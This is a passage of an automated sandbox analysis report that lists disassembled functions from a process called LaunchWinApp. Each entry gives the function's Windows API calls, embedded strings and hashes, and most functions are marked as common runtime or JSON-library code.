API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: bdd40f47e034e4493e106712339f187f54a9f229e7637175c413f22ef96c2ed3
Instruction ID: a12750872b32ba96601a1010e6a302b757b4c009f38bb5e8bec1fcfd3b4263ea
Opcode Fuzzy Hash: bdd40f47e034e4493e106712339f187f54a9f229e7637175c413f22ef96c2ed3
Instruction Fuzzy Hash: D361F171900704AFDB20DF65C841BABB7E9AB44710F14442FEC95AB292EF39ED058B59

Uniqueness

Uniqueness Score: -1.00%

Function 0045661C Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

_free.LIBCMT ref: 00456907
_free.LIBCMT ref: 00456920
_free.LIBCMT ref: 0045695E
_free.LIBCMT ref: 00456967
_free.LIBCMT ref: 00456973

Strings

C, xrefs: 00456778
\1A, xrefs: 004568E4

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: C$\1A
API String ID: 3291180501-1409371277
Opcode ID: 19fa5effae3c9c8c69609a08b37176d08fc8ebdf5e7572223989f41d2fa92409
Instruction ID: 848bc5e06223e7e0905d1580e1030fe6fc191d66266b0846560d3ae1ab0cac43
Opcode Fuzzy Hash: 19fa5effae3c9c8c69609a08b37176d08fc8ebdf5e7572223989f41d2fa92409
Instruction Fuzzy Hash: 8EB18D75A012199FDB24DF18C884AAEB3B5FF08305F9145AEE849A7351DB34AE94CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0044089F Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 004408E8
__alloca_probe_16.LIBCMT ref: 00440914
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00440953
LCMapStringEx.KERNEL32 ref: 00440970
LCMapStringEx.KERNEL32 ref: 004409AF
__alloca_probe_16.LIBCMT ref: 004409CC
LCMapStringEx.KERNEL32 ref: 00440A0E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00440A31

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7218ec8fec4a1f2a53c0e1afa371e996143bf8f1c0799ab02678c9fb0097ae49
Instruction ID: bfdb2df5cd27e07213f8f249946cd62750bb239cc9ae1030bd6de8903d31f029
Opcode Fuzzy Hash: 7218ec8fec4a1f2a53c0e1afa371e996143bf8f1c0799ab02678c9fb0097ae49
Instruction Fuzzy Hash: 3151C172600216AFFB209F61CC45FAB7BA9EF54740F14442AFA14E6250DB78DC21DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00464397 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00464653,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 0046443A
__alloca_probe_16.LIBCMT ref: 004644F0
__alloca_probe_16.LIBCMT ref: 00464586
__freea.LIBCMT ref: 004645F1
__freea.LIBCMT ref: 004645FD

Strings

SFF, xrefs: 00464537, 00464408

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID: SFF
API String ID: 2330168043-2821146077
Opcode ID: 1daf6741d44b6238d6f2614582c158962393b7d052f20e3f9bbd12f7033059b5
Instruction ID: 5c548b7d9f34db811a1beae4d87a1367021e28c5b0fd8aa32a7ba93911d6a76d
Opcode Fuzzy Hash: 1daf6741d44b6238d6f2614582c158962393b7d052f20e3f9bbd12f7033059b5
Instruction Fuzzy Hash: 2281E471D00215ABDF209E55C842AEF7BB59F8A754F18005BE901A7341FB3DCD45CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043F9C8 Relevance: 10.7, APIs: 7, Instructions: 190COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(?,00000000,?,?,?), ref: 0043FA6A
GetLastError.KERNEL32(?,?), ref: 0043FA74
___std_fs_open_handle@16.LIBCPMT ref: 0043FAD4

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AttributesErrorFileLast___std_fs_open_handle@16
String ID:
API String ID: 617199260-0
Opcode ID: 6a587641a0f30b15f70b91486dcd868c3f9ea6d0c8112f273860fff1a8c7a69b
Instruction ID: 10b9febb2cc8fc5c9e8fc0b4f598d9c41d4639d4974abf7498fd9f554ea64f81
Opcode Fuzzy Hash: 6a587641a0f30b15f70b91486dcd868c3f9ea6d0c8112f273860fff1a8c7a69b
Instruction Fuzzy Hash: 6C61B2B1E007059BDB14CF68C851BAAB7B4BF08314F14563AEC64DB381E774E915CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00456191 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A421: RtlAllocateHeap.NTDLL(00000000,0043FE4F,00000000,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004,00000000,00000000,00000000), ref: 0045A453

_free.LIBCMT ref: 004562A0
_free.LIBCMT ref: 004562B7
_free.LIBCMT ref: 004562D4
_free.LIBCMT ref: 004562EF
_free.LIBCMT ref: 00456306

Strings

*G, xrefs: 0045627A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID: *G
API String ID: 3033488037-1675791495
Opcode ID: f8577adaab9910ea722f9f161f160b3b914e6e0f172bf18cc7ce985ceace9343
Instruction ID: 147b10e0cb8e21a4000cd6140936ae270599cd50b43794ea4c7350c1b8b69960
Opcode Fuzzy Hash: f8577adaab9910ea722f9f161f160b3b914e6e0f172bf18cc7ce985ceace9343
Instruction Fuzzy Hash: F651F331A00704AFDB21EF69C841B6AB3F4EF44725F5105AEEC45D7252EB39D909CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00422D37 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 184COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00422D3C

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

unexpected , xrefs: 00422F04
; expected , xrefs: 00422F67
syntax error , xrefs: 00422D59
; last read: ', xrefs: 00422E30
while parsing , xrefs: 00422D85

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DeallocateH_prolog
String ID: ; expected $; last read: '$syntax error $unexpected $while parsing
API String ID: 3708980276-4239264347
Opcode ID: ef6c82a70dcf080e4c060910962267f752c1d0c346e6453d4f8409ad3b0d79ae
Instruction ID: fcda2e6445ee0425a63b07570e3e869be8fe5f46b6fb1a3b03421a01159bfcef
Opcode Fuzzy Hash: ef6c82a70dcf080e4c060910962267f752c1d0c346e6453d4f8409ad3b0d79ae
Instruction Fuzzy Hash: 0F712D70D00208EFCB14EFAAD591AEDBBB5AF58308F50806EE115B3241DB785B48CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00426CCB Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426CD0

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 00426DA3
not keep_stack.empty(), xrefs: 00426CF1
not key_keep_stack.empty(), xrefs: 00426DE4
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00426CE0, 00426CF0, 00426DA2, 00426DE3, 00426E25
object_element, xrefs: 00426E2A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: 6670657ba50edfb3a4d4a5ca787a6a76dbe60270d5ae99e2eb4c1c05e4ae5940
Instruction ID: c3d1baa9da06ef8cc65c942294fc4062f05f43b26202022e774fd8206233c614
Opcode Fuzzy Hash: 6670657ba50edfb3a4d4a5ca787a6a76dbe60270d5ae99e2eb4c1c05e4ae5940
Instruction Fuzzy Hash: D9510330B00218AFDB04EF15D496BEA7BB5EF05314F85805EE8099F382DB78A954CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00426E7A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426E7F

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 00426F52
not keep_stack.empty(), xrefs: 00426EA0
not key_keep_stack.empty(), xrefs: 00426F93
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00426E8F, 00426E9F, 00426F51, 00426F92, 00426FD4
object_element, xrefs: 00426FD9

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: bb176a35225330e52de8d2523d890112949f1947ab42f08ac32098444ee176a2
Instruction ID: 30e399d24fea88ec1c53356056b021f969437eebc71411a4ee76acaf90e741fa
Opcode Fuzzy Hash: bb176a35225330e52de8d2523d890112949f1947ab42f08ac32098444ee176a2
Instruction Fuzzy Hash: 40510230B002149FDB04EF15E492BAA7BB5EF05318F85809EE8059F282DB78ED54CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00427029 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042702E

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 00427101
not keep_stack.empty(), xrefs: 0042704F
not key_keep_stack.empty(), xrefs: 00427142
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0042703E, 0042704E, 00427100, 00427141, 00427183
object_element, xrefs: 00427188

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: ce19ade8b77b160815a394a31b1fd80d281517679317dd4c711bc279f61eaa74
Instruction ID: d9f82150163121a9fc382f7adb080dce3a27f4e592ef338535a5621d04b0c61f
Opcode Fuzzy Hash: ce19ade8b77b160815a394a31b1fd80d281517679317dd4c711bc279f61eaa74
Instruction Fuzzy Hash: 50510530B042149FDB04EF15D896BAABBB5FF05314F84805EE8059F382DB78AD55CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004271D8 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004271DD

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 004272B0
not keep_stack.empty(), xrefs: 004271FE
not key_keep_stack.empty(), xrefs: 004272F1
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 004271ED, 004271FD, 004272AF, 004272F0, 00427332
object_element, xrefs: 00427337

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: bb176a35225330e52de8d2523d890112949f1947ab42f08ac32098444ee176a2
Instruction ID: 48c97a90ed83dd8ec5472155bee87f6b83def156cea23f41062e818627d4552e
Opcode Fuzzy Hash: bb176a35225330e52de8d2523d890112949f1947ab42f08ac32098444ee176a2
Instruction Fuzzy Hash: A651E130B04214DFDB14EF65D496BAA7BB5FF05314F84809EE8059B382DB78A944CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00427387 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042738C

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 0042745F
not keep_stack.empty(), xrefs: 004273AD
not key_keep_stack.empty(), xrefs: 004274A0
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0042739C, 004273AC, 0042745E, 0042749F, 004274E1
object_element, xrefs: 004274E6

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: 146cc1c9ae955d5725956463abfff2e5e48222a3b27dc766326634e4c864592e
Instruction ID: 55145b81502e035c2fb4534a4493042b05bab1770afa2fbc671dbcece8c74ade
Opcode Fuzzy Hash: 146cc1c9ae955d5725956463abfff2e5e48222a3b27dc766326634e4c864592e
Instruction Fuzzy Hash: A351E430B042149FDB04EF15D496BAABBB5FF05314F84809EE8059F382DB78E945CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00427536 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042753B

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 0042760C
not keep_stack.empty(), xrefs: 0042755C
not key_keep_stack.empty(), xrefs: 0042764D
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0042754B, 0042755B, 0042760B, 0042764C, 0042768E
object_element, xrefs: 00427693

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: 101979c3a2fce69e2987056232e3c9d2d8b7e9ba86eafceb8095c538fe9d9286
Instruction ID: fc80bcc1d07a2eec472fc29509e8fe1870c7b14c2e93ed30cbb0faa9087feb1c
Opcode Fuzzy Hash: 101979c3a2fce69e2987056232e3c9d2d8b7e9ba86eafceb8095c538fe9d9286
Instruction Fuzzy Hash: 8A510530B005149FDB14EF15D496BAABBB5EF05324F84805EE805AF382DB78ED54CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004269F2 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004269F7

Strings

ref_stack.back()->is_array() or ref_stack.back()->is_object(), xrefs: 00426ABD
not keep_stack.empty(), xrefs: 00426A18
not key_keep_stack.empty(), xrefs: 00426AFE
A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00426A07, 00426A17, 00426ABC, 00426AFD, 00426B3F
object_element, xrefs: 00426B44

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$not keep_stack.empty()$not key_keep_stack.empty()$object_element$ref_stack.back()->is_array() or ref_stack.back()->is_object()
API String ID: 3519838083-2786698324
Opcode ID: d166552a54265580f08e5c2104d2e7cfb2904fa273bc573b5e00c75b40e700a6
Instruction ID: 5ca6af9ab81a62dfd3fdf3f15973e56d58e750c6512ef144523bfcc8cf6a1268
Opcode Fuzzy Hash: d166552a54265580f08e5c2104d2e7cfb2904fa273bc573b5e00c75b40e700a6
Instruction Fuzzy Hash: DF51D330B002249FDB04EF55D4A6BEA7BB5FF45314F44805EE805AB382DB78A954CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFAF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040AFB4
std::_Lockit::_Lockit.LIBCPMT ref: 0040AFC4
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040B001

Part of subcall function 00440110: _Yarn.LIBCPMT ref: 0044012F
Part of subcall function 00440110: _Yarn.LIBCPMT ref: 00440153

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0040B042
std::_Lockit::~_Lockit.LIBCPMT ref: 0040B0B3

Strings

bad locale name, xrefs: 0040B01A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_LockitYarn$H_prologLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3232797784-1405518554
Opcode ID: a7c471d50db4d3742234741873950254388d183e28a7186e5430f06470a7d097
Instruction ID: d7ae140111f86a4a430dd0138ca59e5604b24ddb406671570963c7a24e224798
Opcode Fuzzy Hash: a7c471d50db4d3742234741873950254388d183e28a7186e5430f06470a7d097
Instruction Fuzzy Hash: 38316F72905B00DFC7359F2AD841657FBE4FF48714B208A2FE09A92A51CB39A505CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004588CF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00458926
ext-ms-, xrefs: 0045893A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: c0217f0642b52b18cf49420db513abf35036cf3eb34fbf28a9513673bab114de
Instruction ID: 75ee051d4fa704e2521ccae29eb6884850a75191e46566d638661042b110bddd
Opcode Fuzzy Hash: c0217f0642b52b18cf49420db513abf35036cf3eb34fbf28a9513673bab114de
Instruction Fuzzy Hash: 9F2138B1E01221ABDB214A259C40B7B37989F01761F24052AED05B7393DE78EC09CAEE

Uniqueness

Uniqueness Score: -1.00%

Function 0043525A Relevance: 10.6, APIs: 7, Instructions: 75stringregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0043527F
lstrlenW.KERNEL32(?), ref: 004352A5
lstrcpyW.KERNEL32 ref: 004352C2
lstrcatW.KERNEL32(00000000,0047E440), ref: 004352CE
lstrcatW.KERNEL32(00000000,?), ref: 004352DC
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00435310
RegCloseKey.ADVAPI32(?), ref: 0043531D

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseEnumOpenlstrcpylstrlen
String ID:
API String ID: 2943937744-0
Opcode ID: 0e4ee41c36ee3124c373d9545e755984cb845e3b6f874146656ee24472e8fca1
Instruction ID: cd5cf4aacea876c366cfde92acba264a13c2d81f9f6ea03dd54c9f7238eba560
Opcode Fuzzy Hash: 0e4ee41c36ee3124c373d9545e755984cb845e3b6f874146656ee24472e8fca1
Instruction Fuzzy Hash: 3221517A501128FFEB119B92DD49DEF7BBCEF09394F0040A6F905D1110EBB45E41DAA9

Uniqueness

Uniqueness Score: -1.00%

Function 004621C8 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00461F14: _free.LIBCMT ref: 00461F39

_free.LIBCMT ref: 00462216

Part of subcall function 0045813E: HeapFree.KERNEL32(00000000,00000000,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?), ref: 00458154
Part of subcall function 0045813E: GetLastError.KERNEL32(?,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?,?), ref: 00458166

_free.LIBCMT ref: 00462221
_free.LIBCMT ref: 0046222C
_free.LIBCMT ref: 00462280
_free.LIBCMT ref: 0046228B
_free.LIBCMT ref: 00462296
_free.LIBCMT ref: 004622A1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: edb37aeed8800d3475c03bd78c3862b90e2031649d7118710ed7d63d68b1fba6
Instruction ID: b7d7f4123409e1c93a31d8424639c0da092e7b3518518b458ec4db68dc78a5a3
Opcode Fuzzy Hash: edb37aeed8800d3475c03bd78c3862b90e2031649d7118710ed7d63d68b1fba6
Instruction Fuzzy Hash: EA115171540B08BAD520BBB2CC07FCBB79D6F40708F44481EB6E966463EF6DB5094769

Uniqueness

Uniqueness Score: -1.00%

Function 0044FAA6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,A:\_Work\rc-build-v1-exe\json.hpp,?), ref: 0044FAC6
GetFileType.KERNEL32(00000000), ref: 0044FAD8
swprintf.LIBCMT ref: 0044FAF9
WriteConsoleW.KERNEL32(00000000,?,?,?,00000000), ref: 0044FB36

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0044FAC0
Assertion failed: %Ts, file %Ts, line %d, xrefs: 0044FAEE

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ConsoleFileHandleTypeWriteswprintf
String ID: A:\_Work\rc-build-v1-exe\json.hpp$Assertion failed: %Ts, file %Ts, line %d
API String ID: 2943507729-3717751166
Opcode ID: 0784cccc9c1bf8d47b2b759b0198964a0e9c9f282762cafa1d716a15abbfb40b
Instruction ID: 2c62605530fe9e79cfd3a72951418a5142b1112241a6f8760292d0bf387491ff
Opcode Fuzzy Hash: 0784cccc9c1bf8d47b2b759b0198964a0e9c9f282762cafa1d716a15abbfb40b
Instruction Fuzzy Hash: D11178715000186BDB209F29CD56EEFB3ACEF41350F4049AAFA1593181EA34FD098B6C

Uniqueness

Uniqueness Score: -1.00%

Function 00422BB9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMT ref: 00422C14
std::bad_exception::bad_exception.LIBCMT ref: 00422C24
std::bad_exception::bad_exception.LIBCMT ref: 00422C34
std::bad_exception::bad_exception.LIBCMT ref: 00422C57

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00422BF8
false, xrefs: 00422BFD

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception
String ID: A:\_Work\rc-build-v1-exe\json.hpp$false
API String ID: 2160870905-3678202009
Opcode ID: 1915f19b102b3d6e8226c92676e2ee87dc3d25ba45c1f100cf7f0e6ea3b1c2f2
Instruction ID: 6305c9c94702425323219a1285053c6f72e3dd366bc620f1f7a83dbf286c3e4b
Opcode Fuzzy Hash: 1915f19b102b3d6e8226c92676e2ee87dc3d25ba45c1f100cf7f0e6ea3b1c2f2
Instruction Fuzzy Hash: 4A115371B4022475CB1ABBAAFE9AEFF37246F00305FA0850FB40132691C6ED861EC21D

Uniqueness

Uniqueness Score: -1.00%

Function 004476DB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004476D0,?,?,00447698,000000FF,?,UQA), ref: 004476F0
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00447703
FreeLibrary.KERNEL32(00000000,?,?,004476D0,?,?,00447698,000000FF,?,UQA), ref: 00447726

Strings

\1A, xrefs: 00447714
CorExitProcess, xrefs: 004476FB
mscoree.dll, xrefs: 004476E9

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$\1A$mscoree.dll
API String ID: 4061214504-3337826627
Opcode ID: ed59fb14b02857f7590c9ea736133f3eb2ef4bd79d4c3061eee84b6a22660037
Instruction ID: e55f2363311ffb152dc95287ccf007a711bfd98483c88166c39d6972c370cbbb
Opcode Fuzzy Hash: ed59fb14b02857f7590c9ea736133f3eb2ef4bd79d4c3061eee84b6a22660037
Instruction Fuzzy Hash: B1F0A734501119FBDB119B91DC09FDE7FB9EB00756F104061F400B22A0EBB49E01EF99

Uniqueness

Uniqueness Score: -1.00%

Function 004576F7 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 0045773F
__fassign.LIBCMT ref: 00457924
__fassign.LIBCMT ref: 00457941
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00457989
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004579C9
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00457A71

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: bb337dae277e497586a57176db327e41eb037fd8ebfbe6399c84e533aa33c328
Instruction ID: 6a3717290c53ed80be32effa8769c2799e8c55fd9dfe25d7b350c5038ecc5eab
Opcode Fuzzy Hash: bb337dae277e497586a57176db327e41eb037fd8ebfbe6399c84e533aa33c328
Instruction Fuzzy Hash: E9C1AFB5D042589FCF10CFA8D8809EDBBB5EF08315F28416AE855B7342E2359E4ACF64

